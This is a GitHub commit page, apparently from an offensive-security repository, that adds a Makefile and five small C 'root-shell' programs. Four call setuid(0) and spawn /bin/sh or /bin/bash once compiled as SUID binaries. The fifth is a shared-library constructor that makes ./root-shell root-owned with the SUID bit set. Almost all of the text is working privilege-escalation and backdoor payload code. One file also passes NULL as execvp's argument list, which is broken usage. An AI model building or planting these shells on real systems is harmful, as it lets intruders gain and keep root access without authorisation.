Merge pull request #670 from g0tmi1k/code

Add example c root-shells
This commit is contained in:
g0tmi1k 2021-11-24 10:09:22 +00:00 committed by GitHub
commit 16f5f35b95
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
6 changed files with 77 additions and 0 deletions

View File

@ -0,0 +1,21 @@
# Using x64? $ sudo apt instlal -y libc6-dev-i386
all: x64 x86
create:
mkdir -p bin/
x64: create
gcc -m64 -static -o bin/root-shellx64 root-shell.c
x86: create
gcc -m32 -static -o bin/root-shellx86 root-shell.c
strip:
strip bin/*
result:
file bin/*
clean:
rm -rf bin/

View File

@ -0,0 +1,16 @@
// gcc -fPIC -shared -o drop-shell drop-shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
// https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html
__attribute__((__constructor__))
void dropshell(void) {
// Set root user to be owner, and SUID permission
chown("./root-shell", 0, 0);
chmod("./root-shell", 04755);
// Feedback
printf("[+] Done!\n");
}

View File

@ -0,0 +1,12 @@
// $ gcc -static -o root-shell root-shell.c
// $ chmod u+s root-shell
#include <unistd.h>
#include <stdlib.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/sh");
return 0;
}

View File

@ -0,0 +1,10 @@
// $ gcc -o root-shell2 root-shell2.c
#include <unistd.h>
int main()
{
setuid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}

View File

@ -0,0 +1,16 @@
// $ gcc -static -o root-shell3 root-shell3.c
// $ chmod u+s root-shell3
#include <unistd.h>
#include <stdlib.h>
int main(void) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
return 0;
}

View File

@ -0,0 +1,2 @@
// $ gcc tiny-shell.c
int main(void){setresuid(0, 0, 0);system("/bin/sh");}